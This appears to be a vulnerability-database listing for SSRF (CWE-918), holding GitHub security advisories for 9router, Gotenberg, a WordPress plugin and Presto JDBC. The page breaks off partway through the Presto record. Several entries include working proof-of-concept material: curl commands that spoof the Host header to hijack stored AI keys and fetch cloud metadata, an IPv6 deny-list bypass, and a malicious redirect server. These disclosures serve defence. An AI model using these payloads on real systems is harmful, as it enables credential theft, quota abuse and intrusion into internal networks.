Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

5980 vulnerabilities reference this CWE, most recent first.

GHSA-86M2-FCXQ-5Q7C

Vulnerability from github – Published: 2026-08-28 18:33 – Updated: 2026-08-28 18:33
VLAI
Summary
9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF
Details

Summary

9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled Host header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULT_SETTINGS, so the handler-side key check is skipped), this yields:

  • Open AI relay — the proxy forwards the attacker's requests to AI providers using the victim's stored paid API keys (cost/quota theft, prompt-based data exfiltration through the victim's accounts).

  • Unauthenticated SSRF — /v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provider_options.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.

  • Affected: 9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js.

  • Distinct from the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy <0.3.75 authz bypass).

Details

The bypass (src/dashboardGuard.js)

function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase();
  return new Set(["localhost","127.0.0.1","::1"]).has(name); }
function isLocalRequest(request){
  if (!isLoopbackHostname(request.headers.get("host"))) return false;   // <-- client-controlled Host
  const origin = request.headers.get("origin");
  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }
  return true;
}
async function canAccessPublicLlmApi(request){
  if (isLocalRequest(request)) return true;     // <-- "local" => no key required
  if (await hasValidCliToken(request)) return true;
  return await hasValidApiKey(request);
}

isLocalRequest never consults the socket peer address — only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.

Default exposure

  • cli/cli.js:63 const DEFAULT_HOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default.
  • cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0 — operators believe it's local-only.
  • src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS has no requireApiKey → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.

Relay chain (verbatim trace, 0.4.71)

middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path*→/api/v1/:path* → src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKey → getProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.

SSRF chain

search.js (only gate falsy requireApiKey) → searxng noAuth:true ⇒ handleSearchCore({credentials:null}) → coreBody.provider_options = body.provider_options → callers.js:

export function resolveBaseUrl(config, params){
  const override = getProviderSetting(params, "baseUrl");   // reads params.providerOptions.baseUrl FIRST
  return (override || config.baseUrl).replace(/\/+$/, "");
}

→ buildSearxngRequest appends /search?q=...&format=json&categories=general → fetch(url) (server-side) → JSON reflected to caller.

PoC

Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrf_search.mjs (imports the real handleSearchCore + AI_PROVIDERS.searxng).

Guard bypass (hostspoof.mjs, exit 2):

attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS
   denied       honest remote (real Host)
*** ALLOWED ***  SPOOF Host: localhost (no Origin)
*** ALLOWED ***  SPOOF Host: 127.0.0.1
*** ALLOWED ***  SPOOF Host: localhost:20128
   denied       SPOOF Host + Origin evil (blocked)
RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.

SSRF (ssrf_search.mjs, real imported code):

[*] searxng configured baseUrl: http://localhost:8888/search
[*] attacker provider_options.baseUrl: http://127.0.0.1:<port>
[*] credentials passed to core: null (noAuth => key-less attacker)
internal service reached by 9router process: true
path hit: /search?q=x&format=json&categories=general
data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}]
SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.

Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)

Built & ran 9router@0.4.71 (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP 10.204.111.34 (a genuine remote peer); only the Host header differs between the control and the attack:

(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128
    => HTTP 401 {"error":"API key required for remote API access"}      [guard blocks remote]

(B) spoofed Host: localhost:  POST /v1/search  Host: localhost
       body: {"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://127.0.0.1:19099"}}
    => HTTP 200, and the attacker's listener logged:
       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1
    => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.

(B') relay path POST /v1/messages, same Host-spoof:
       honest Host => 401 ;  Host: localhost => 404 {"error":"No active credentials for provider: openai"}
    => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured).

Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response reflection requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.

Reproduce (against a network-reachable 9router; VICTIM_IP = the box):

# Open AI relay — no Authorization/x-api-key/cookie; victim's key pays:
curl -sS http://VICTIM_IP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"model":"claude-3-5-sonnet-20241022","max_tokens":64,"messages":[{"role":"user","content":"relay test"}]}'

# SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:
curl -sS http://VICTIM_IP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \
  -d '{"provider":"searxng","query":"x","provider_options":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'

Impact

Any 9router reachable on a network (default 0.0.0.0 bind, plus Docker -p, tunnel, or tailscale — all first-class features) can be: - used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and - used to reach internal services / cloud metadata (169.254.169.254) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).

Recommended fix

  1. Determine "local" from the socket peer IP, never the Host header — treat as local only if the TCP peer is 127.0.0.0/8 / ::1.
  2. Bind 127.0.0.1 by default; require an explicit, warned opt-in for 0.0.0.0; fix the CLI to not print "localhost" when bound to all interfaces.
  3. For any non-loopback peer, require a valid API key regardless of requireApiKey; add requireApiKey: true to DEFAULT_SETTINGS (fail-closed).
  4. Validate provider_options.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges in resolveBaseUrl.
  5. Remove Access-Control-Allow-Origin: * from /v1 GET metadata routes.
Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "9router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1327",
      "CWE-290",
      "CWE-348",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T18:33:20Z",
    "nvd_published_at": "2026-07-10T17:16:59Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n9router\u0027s request guard decides a request is \"local\" (and therefore exempt from API-key auth on the `/v1` LLM proxy) by reading the **client-controlled `Host` header**. Because 9router binds `0.0.0.0` by default (and the CLI misleadingly prints \"localhost\"), a remote, unauthenticated attacker who can reach the port can send `Host: localhost` to be treated as local and obtain `/v1` proxy access with **no API key, no CLI token, and no dashboard login**. In the default configuration (`requireApiKey` is absent from `DEFAULT_SETTINGS`, so the handler-side key check is skipped), this yields:\n\n- **Open AI relay** \u2014 the proxy forwards the attacker\u0027s requests to AI providers using the **victim\u0027s stored paid API keys** (cost/quota theft, prompt-based data exfiltration through the victim\u0027s accounts).\n- **Unauthenticated SSRF** \u2014 `/v1/search` with the built-in `noAuth` `searxng` provider takes its outbound fetch URL from the request body (`provider_options.baseUrl`), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.\n\n- **Affected:** `9router \u003c= 0.4.80` (current), `src/dashboardGuard.js` (`isLocalRequest`), `src/sse/handlers/{chat,search}.js`, `src/lib/db/repos/settingsRepo.js`, `cli/cli.js`.\n- **Distinct from** the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy `\u003c0.3.75` authz bypass).\n\n## Details\n\n### The bypass (`src/dashboardGuard.js`)\n```js\nfunction isLoopbackHostname(h){ const name=h.split(\":\")[0].replace(/^\\[|\\]$/g,\"\").toLowerCase();\n  return new Set([\"localhost\",\"127.0.0.1\",\"::1\"]).has(name); }\nfunction isLocalRequest(request){\n  if (!isLoopbackHostname(request.headers.get(\"host\"))) return false;   // \u003c-- client-controlled Host\n  const origin = request.headers.get(\"origin\");\n  if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } }\n  return true;\n}\nasync function canAccessPublicLlmApi(request){\n  if (isLocalRequest(request)) return true;     // \u003c-- \"local\" =\u003e no key required\n  if (await hasValidCliToken(request)) return true;\n  return await hasValidApiKey(request);\n}\n```\n`isLocalRequest` never consults the **socket peer address** \u2014 only the spoofable `Host` header (and an absent/loopback `Origin`). The `/v1`,`/v1beta`,`/api/v1`,`/api/v1beta` prefixes are gated solely by `canAccessPublicLlmApi`.\n\n### Default exposure\n- `cli/cli.js:63` `const DEFAULT_HOST = \"0.0.0.0\";` and `Dockerfile` `ENV HOSTNAME=0.0.0.0` / `EXPOSE 20128` \u2192 reachable from the network by default.\n- `cli/cli.js:500,541` display `\"localhost\"` even when bound to `0.0.0.0` \u2014 operators believe it\u0027s local-only.\n- `src/lib/db/repos/settingsRepo.js` `DEFAULT_SETTINGS` has **no `requireApiKey`** \u2192 the handler key checks (`chat.js` `if (settings.requireApiKey)`, `search.js` same) are skipped by default.\n\n### Relay chain (verbatim trace, 0.4.71)\nmiddleware (`src/proxy.js`, matcher covers all paths) \u2192 `canAccessPublicLlmApi` true via spoofed Host \u2192 `next.config.mjs` rewrites `/v1/:path*`\u2192`/api/v1/:path*` \u2192 `src/app/api/v1/messages/route.js` POST \u2192 `handleChat` (no independent auth) \u2192 only gate falsy `requireApiKey` \u2192 `getProviderCredentials()` loads the victim\u0027s stored credentials \u2192 `handleChatCore` outbound fetch \u2192 response returned. **No downstream key gate.**\n\n### SSRF chain\n`search.js` (only gate falsy `requireApiKey`) \u2192 `searxng` `noAuth:true` \u21d2 `handleSearchCore({credentials:null})` \u2192 `coreBody.provider_options = body.provider_options` \u2192 `callers.js`:\n```js\nexport function resolveBaseUrl(config, params){\n  const override = getProviderSetting(params, \"baseUrl\");   // reads params.providerOptions.baseUrl FIRST\n  return (override || config.baseUrl).replace(/\\/+$/, \"\");\n}\n```\n\u2192 `buildSearxngRequest` appends `/search?q=...\u0026format=json\u0026categories=general` \u2192 `fetch(url)` (server-side) \u2192 JSON reflected to caller.\n\n## PoC\n\nGround-truth, no network egress: `harness/hostspoof.mjs` (verbatim guard logic) and `harness/ssrf_search.mjs` (imports the *real* `handleSearchCore` + `AI_PROVIDERS.searxng`).\n\n**Guard bypass (`hostspoof.mjs`, exit 2):**\n```\nattacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS\n   denied       honest remote (real Host)\n*** ALLOWED ***  SPOOF Host: localhost (no Origin)\n*** ALLOWED ***  SPOOF Host: 127.0.0.1\n*** ALLOWED ***  SPOOF Host: localhost:20128\n   denied       SPOOF Host + Origin evil (blocked)\nRESULT: BYPASS \u2014 remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.\n```\n\n**SSRF (`ssrf_search.mjs`, real imported code):**\n```\n[*] searxng configured baseUrl: http://localhost:8888/search\n[*] attacker provider_options.baseUrl: http://127.0.0.1:\u003cport\u003e\n[*] credentials passed to core: null (noAuth =\u003e key-less attacker)\ninternal service reached by 9router process: true\npath hit: /search?q=x\u0026format=json\u0026categories=general\ndata returned to attacker: [{\"title\":\"INTERNAL-DATA\",...,\"content\":\"leaked\"...}]\nSSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.\n```\n\n### Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)\n\nBuilt \u0026 ran `9router@0.4.71` (Next.js 16.2.9, bound `0.0.0.0:20128`, **default settings, no provider configured, no api key/login**). Attacker = a request to the box\u0027s **non-loopback LAN IP `10.204.111.34`** (a genuine remote peer); only the `Host` header differs between the control and the attack:\n\n```\n(A) honest Host (the IP):     POST /v1/search  Host: 10.204.111.34:20128\n    =\u003e HTTP 401 {\"error\":\"API key required for remote API access\"}      [guard blocks remote]\n\n(B) spoofed Host: localhost:  POST /v1/search  Host: localhost\n       body: {\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://127.0.0.1:19099\"}}\n    =\u003e HTTP 200, and the attacker\u0027s listener logged:\n       [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x\u0026format=json\u0026categories=general | from 127.0.0.1\n    =\u003e the 9router SERVER PROCESS issued a GET to the attacker-controlled URL  = unauthenticated SSRF.\n\n(B\u0027) relay path POST /v1/messages, same Host-spoof:\n       honest Host =\u003e 401 ;  Host: localhost =\u003e 404 {\"error\":\"No active credentials for provider: openai\"}\n    =\u003e bypass reached handleChat\u0027s provider selection (would forward on the VICTIM\u0027S key if one were configured).\n```\nChanging **only** the `Host` header (401 \u2192 reaches the handler), from the same remote peer, is the entire bypass \u2014 confirmed live on a default-config running instance. (Full SSRF response *reflection* requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF \u2014 the server-side request to the attacker URL is the proven primitive. The relay needs \u22651 configured provider \u2014 the normal state \u2014 to actually spend the victim\u0027s key.) See `repro/LIVE-EVIDENCE.txt`.\n\n**Reproduce** (against a network-reachable 9router; `VICTIM_IP` = the box):\n```bash\n# Open AI relay \u2014 no Authorization/x-api-key/cookie; victim\u0027s key pays:\ncurl -sS http://VICTIM_IP:20128/v1/messages -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"model\":\"claude-3-5-sonnet-20241022\",\"max_tokens\":64,\"messages\":[{\"role\":\"user\",\"content\":\"relay test\"}]}\u0027\n\n# SSRF \u2014 attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected:\ncurl -sS http://VICTIM_IP:20128/v1/search -H \u0027Host: localhost\u0027 -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"provider\":\"searxng\",\"query\":\"x\",\"provider_options\":{\"baseUrl\":\"http://169.254.169.254/latest/meta-data\"}}\u0027\n```\n\n## Impact\n\nAny 9router reachable on a network (default `0.0.0.0` bind, plus Docker `-p`, tunnel, or tailscale \u2014 all first-class features) can be:\n- used as a free AI relay billed to the victim\u0027s provider accounts, exhausting quota and exfiltrating data through their keys; and\n- used to reach internal services / cloud metadata (`169.254.169.254`) with the response reflected to the attacker.\nUnauthenticated, no user interaction, default configuration. The only precondition is the normal one (\u22651 configured provider).\n\n## Recommended fix\n1. Determine \"local\" from the **socket peer IP**, never the `Host` header \u2014 treat as local only if the TCP peer is `127.0.0.0/8` / `::1`.\n2. Bind `127.0.0.1` by default; require an explicit, warned opt-in for `0.0.0.0`; fix the CLI to not print \"localhost\" when bound to all interfaces.\n3. For any non-loopback peer, require a valid API key regardless of `requireApiKey`; add `requireApiKey: true` to `DEFAULT_SETTINGS` (fail-closed).\n4. Validate `provider_options.baseUrl` against an allowlist (or drop the override) and block requests to private/link-local ranges in `resolveBaseUrl`.\n5. Remove `Access-Control-Allow-Origin: *` from `/v1` GET metadata routes.",
  "id": "GHSA-86m2-fcxq-5q7c",
  "modified": "2026-08-28T18:33:20Z",
  "published": "2026-08-28T18:33:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/security/advisories/GHSA-86m2-fcxq-5q7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/commit/b282f0554972ea35281520738759d76abcd0b0b3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/decolua/9router"
    },
    {
      "type": "WEB",
      "url": "https://github.com/decolua/9router/releases/tag/v0.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing \u2192 open AI relay + SSRF"
}

GHSA-86M8-88FQ-XFXP

Vulnerability from github – Published: 2026-05-29 16:50 – Updated: 2026-05-29 16:50
VLAI
Summary
Gotenberg has an SSRF deny-list bypass in IsPublicIP via IPv6 6to4 / NAT64 / site-local prefixes
Details

Summary

IsPublicIP in pkg/gotenberg/outbound.go incorrectly classifies IPv6 6to4 / NAT64 / deprecated site-local addresses as public IPs, allowing an unauthenticated attacker to reach internal destinations (e.g., cloud metadata services at 169.254.169.254) via a single crafted DNS AAAA record. This is a variant of CVE-2026-44430 (modelcontextprotocol/registry).

Details

IsPublicIP uses Go stdlib helpers (IsLoopback, IsPrivate, IsLinkLocalUnicast, etc.) to block internal IPs. However, these helpers do not recognize IPv6 prefixes that embed IPv4 addresses:

Prefix RFC Tunnels to
2002::/16 RFC 3056 (6to4) IPv4 in bits 16-47
64:ff9b::/96 RFC 6052 (NAT64 well-known) IPv4 in low 32 bits
64:ff9b:1::/48 RFC 8215 (NAT64 local-use) IPv4 in low 32 bits
fec0::/10 RFC 3879 (deprecated site-local) internal routing

addr.Unmap() only handles ::ffff:0:0/96 (IPv4-mapped) and has no effect on these prefixes. On dual-stack or NAT64-enabled cloud hosts, the OS kernel transparently routes these addresses to their embedded internal IPv4 destinations.

Vulnerable code (pkg/gotenberg/outbound.go L53-69, commit 93d0103):

func IsPublicIP(addr netip.Addr) bool {
    addr = addr.Unmap() // only handles ::ffff:x.x.x.x
    switch {
    case addr.IsLoopback(), addr.IsPrivate(),
         addr.IsLinkLocalUnicast(), ...:
        return false
    }
    return true // 6to4/NAT64/site-local incorrectly reaches here
}

PoC

cd poc/
./build.sh   # docker build (~30s)
./run.sh     # docker run — exits with code 1 (bug detected)

Expected output: IsPublicIP(2002:a9fe:a9fe::) = true — the function returns true for 3 addresses that wrap 169.254.169.254 (AWS IMDS). Full test file available via GHSA private comment on request.

Impact

An unauthenticated attacker controlling a DNS AAAA record can tunnel gotenberg's outbound HTTP client to AWS/GCP/Azure IMDS (169.254.169.254), leaking IAM credentials. The Chromium URL convert route returns the full response as a PDF (full-read SSRF). Affects all deployments with WithDenyPrivateIPs(true) on dual-stack or NAT64-enabled hosts.

Suggested Fix

Add explicit prefix checks after addr.Unmap():

var blockedIPv6Prefixes = []netip.Prefix{
    netip.MustParsePrefix("2002::/16"),
    netip.MustParsePrefix("64:ff9b::/96"),
    netip.MustParsePrefix("64:ff9b:1::/48"),
    netip.MustParsePrefix("fec0::/10"),
}
for _, p := range blockedIPv6Prefixes {
    if p.Contains(addr) { return false }
}
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "8.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45741"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T16:50:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`IsPublicIP` in `pkg/gotenberg/outbound.go` incorrectly classifies IPv6 6to4 / NAT64 / deprecated site-local addresses as public IPs, allowing an unauthenticated attacker to reach internal destinations (e.g., cloud metadata services at `169.254.169.254`) via a single crafted DNS AAAA record. This is a variant of CVE-2026-44430 (modelcontextprotocol/registry).\n\n### Details\n\n`IsPublicIP` uses Go stdlib helpers (`IsLoopback`, `IsPrivate`, `IsLinkLocalUnicast`, etc.) to block internal IPs. However, these helpers do not recognize IPv6 prefixes that embed IPv4 addresses:\n\n| Prefix | RFC | Tunnels to |\n|--------|-----|-----------|\n| `2002::/16` | RFC 3056 (6to4) | IPv4 in bits 16-47 |\n| `64:ff9b::/96` | RFC 6052 (NAT64 well-known) | IPv4 in low 32 bits |\n| `64:ff9b:1::/48` | RFC 8215 (NAT64 local-use) | IPv4 in low 32 bits |\n| `fec0::/10` | RFC 3879 (deprecated site-local) | internal routing |\n\n`addr.Unmap()` only handles `::ffff:0:0/96` (IPv4-mapped) and has no effect on these prefixes. On dual-stack or NAT64-enabled cloud hosts, the OS kernel transparently routes these addresses to their embedded internal IPv4 destinations.\n\nVulnerable code (`pkg/gotenberg/outbound.go` L53-69, commit `93d0103`):\n\n```go\nfunc IsPublicIP(addr netip.Addr) bool {\n    addr = addr.Unmap() // only handles ::ffff:x.x.x.x\n    switch {\n    case addr.IsLoopback(), addr.IsPrivate(),\n         addr.IsLinkLocalUnicast(), ...:\n        return false\n    }\n    return true // 6to4/NAT64/site-local incorrectly reaches here\n}\n```\n\n### PoC\n```\ncd poc/\n./build.sh   # docker build (~30s)\n./run.sh     # docker run \u2014 exits with code 1 (bug detected)\n```\n\nExpected output: `IsPublicIP(2002:a9fe:a9fe::) = true` \u2014 the function returns true for 3 addresses that wrap 169.254.169.254 (AWS IMDS). Full test file available via GHSA private comment on request.\n\n### Impact\n\nAn unauthenticated attacker controlling a DNS AAAA record can tunnel gotenberg\u0027s outbound HTTP client to AWS/GCP/Azure IMDS (169.254.169.254), leaking IAM credentials. The Chromium URL convert route returns the full response as a PDF (full-read SSRF). Affects all deployments with `WithDenyPrivateIPs(true)` on dual-stack or NAT64-enabled hosts.\n\n### Suggested Fix\n\nAdd explicit prefix checks after `addr.Unmap()`:\n```\nvar blockedIPv6Prefixes = []netip.Prefix{\n    netip.MustParsePrefix(\"2002::/16\"),\n    netip.MustParsePrefix(\"64:ff9b::/96\"),\n    netip.MustParsePrefix(\"64:ff9b:1::/48\"),\n    netip.MustParsePrefix(\"fec0::/10\"),\n}\nfor _, p := range blockedIPv6Prefixes {\n    if p.Contains(addr) { return false }\n}\n```",
  "id": "GHSA-86m8-88fq-xfxp",
  "modified": "2026-05-29T16:50:37Z",
  "published": "2026-05-29T16:50:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-86m8-88fq-xfxp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg has an SSRF deny-list bypass in IsPublicIP via IPv6 6to4 / NAT64 / site-local prefixes"
}

GHSA-86PC-M9XH-3JG9

Vulnerability from github – Published: 2026-04-07 09:31 – Updated: 2026-04-07 18:31
VLAI
Details

The Popup Box WordPress plugin before 5.5.0 does not properly validate nonces in the add_or_edit_popupbox() function before saving popup data, allowing unauthenticated attackers to perform Cross-Site Request Forgery attacks. When an authenticated admin visits a malicious page, the attacker can create or modify popups with arbitrary JavaScript that executes in the admin panel and frontend.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-15611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-07T07:16:23Z",
    "severity": "MODERATE"
  },
  "details": "The Popup Box  WordPress plugin before 5.5.0 does not properly validate nonces in the add_or_edit_popupbox() function before saving popup data, allowing unauthenticated attackers to perform Cross-Site Request Forgery attacks. When an authenticated admin visits a malicious page, the attacker can create or modify popups with arbitrary JavaScript that executes in the admin panel and frontend.",
  "id": "GHSA-86pc-m9xh-3jg9",
  "modified": "2026-04-07T18:31:33Z",
  "published": "2026-04-07T09:31:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15611"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/089ea763-2421-4089-a220-251421f7f226"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-86Q5-QCJC-7PV4

Vulnerability from github – Published: 2023-10-03 21:54 – Updated: 2023-10-03 21:54
VLAI
Summary
Presto JDBC Server-Side Request Forgery by nextUri
Details

Summary

Presto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan.

Details

The Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF.

For unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.

The relevant code is in file path /presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java and function advance .

The flowchart is as follows:

presto_jdbc_ssrf_2.png

PoC

Running an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:

from flask import Flask, Response

app = Flask(__name__)

@app.route('/v1/statement', methods=['POST'])
def next_uri_to_interal_server():
    data = '{"id":"test_id","infoUri":"whatever","nextUri":"http://127.0.0.1:8888","stats":{"state":"QUEUED","queued":true,"scheduled":false,"nodes":0,"totalSplits":0,"queuedSplits":0,"runningSplits":0,"completedSplits":0,"cpuTimeMillis":0,"wallTimeMillis":0,"queuedTimeMillis":0,"elapsedTimeMillis":0,"processedRows":0,"processedBytes":0,"peakMemoryBytes":0,"peakTotalMemoryBytes":0,"peakTaskTotalMemoryBytes":0,"spilledBytes":0},"warnings":[]}'
    return Response(data, content_type='application/json; charset=utf-8', status=200)

if __name__ == '__main__':
    app.run(host="0.0.0.0",port=8000)

Connecting to the malicious server using JDBC:

String url = "jdbc:presto://<ip>:<port>";
Properties properties = new Properties();
properties.setProperty("user", "root");
try {
    Connection connection = DriverManager.getConnection(url, properties);
    Statement stmt = connection.createStatement();
    ResultSet res = stmt.executeQuery("show catalogs");
    while(res.next()) {
        System.out.println(res.getString(1));
    }
} catch (Exception e) {
    e.printStackTrace();
}

Pwned!

Impact

When the target remote Presto server to be connected is controllable, an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan.

Vulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.facebook.presto:presto-jdbc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.283"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-10-03T21:54:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nPresto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can modify the nextUri parameter to internal server in response content that Presto JDBC client will request next and view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Details\n\nThe Presto protocol has a nextUri parameter that specifies which URI the client will request next to obtain more query data. Presto JDBC will directly use the nextUri returned by the remote Presto server as the URL for the next request. So if a malicious server modify the nextUri parameter to the internal server, JDBC will request it and cause SSRF.\n\nFor unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.\n\nThe relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `advance` .\n\nThe flowchart is as follows:\n\n\u003cimg src=\"https://s2.loli.net/2023/09/18/gvUZ2rT7w3Okbde.png\" alt=\"presto_jdbc_ssrf_2.png\" 